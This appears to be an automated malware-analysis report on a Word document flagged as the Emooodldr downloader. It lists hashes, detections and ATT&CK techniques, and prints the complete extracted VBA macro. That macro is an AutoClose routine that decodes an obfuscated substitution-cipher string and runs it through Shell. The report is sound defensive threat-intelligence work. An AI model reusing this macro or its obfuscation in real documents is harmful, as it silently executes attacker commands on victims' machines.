Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9894ba3b6c110bcd…

MALICIOUS

Office (OOXML)

54.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-04-06
MD5: 65783e3a26527fc07f3bbe65d546383c SHA-1: 7557fbbe757946ed3d519abd470fc951d6b2cd60 SHA-256: 9894ba3b6c110bcd9b245058f8cdd8943cb7515b53cabe7589368de005cfcbd7
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code upon opening the document. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family, which is known for downloading and executing second-stage payloads.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2127 bytes
SHA-256: ce52ba66cd7bbb1393369ee2a61542e8a7de03961fb99789cfb5b458b9362b29
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  pyroconductivity = Array("t", "c", "f", "O", "q", "k", "R", "e", "R", "U", "f", "O", "O", "Q", "d", "6", "6", "L", "I", "T", "3", "L", "Z", "I", "g", "j", "L", "Z", "T", "L", "f", "Z", "R", "Z", "k", "4", "i", "t", "6", "W", "y", "6", "c", "t", "T", "e", "k", "Q", "f", "Q", "p", "g", "O", "t", "q", "a", "I", "i", "j", "r")
  iachimo = arrogate(pyroconductivity)
  
  Application.Run "unintermissive", (iachimo)
  
End Sub


Private Sub unintermissive(poetise)
   
   smokables = 6162
   eyeblack = True
   
   While eyeblack
     contraption = smokables + 222
     If contraption - smokables > 111 Then
       VBA.Shell poetise, vbNormalFocus - 1
       eyeblack = False
      End If
     
   Wend

End Sub


Public Function unimbodied(offertories, ambitious)

  cichloid = 9090
  maeonidesator = -1
  For Each calycanthine In ambitious
    If calycanthine = offertories Then
     cichloid = maeonidesator
     Exit For
    End If

    maeonidesator = maeonidesator + 1
    
  Next

  
  If cichloid = 9090 Then
    cichloid = -1
  End If


  unimbodied = cichloid + 1
End Function

Private Function arrogate(pyroconductivity)
  tenderheartedly = Array("O", "Z", "a", "R", "L", "i", "r", "W", "j", "Q", "f", "q", "c", "3", "T", "U", "p", "d", "k", "4", "I", "g", "e", "6", "t", "y")
  cavaliered = Array("t", "w", "=", "e", "q", "o", "k", "N", "n", "p", "h", "a", "s", "j", "i", " ", "?", ":", ".", "c", "d", "u", "x", "/", "m", "A")
  
  embargo = vbNullString
  
  For Each midscale In pyroconductivity
    nonconsumers = Application.Run("unimbodied", midscale, tenderheartedly)
    If nonconsumers > -1 And nonconsumers < 8080 Then
    embargo = cavaliered(nonconsumers) + embargo
    End If
  Next
  
  arrogate = StrReverse(embargo)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 40b5106b1432de6a8768fb7af2cdc4f30c6f7308a5ab708c9a0d4ac7f22d436a
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely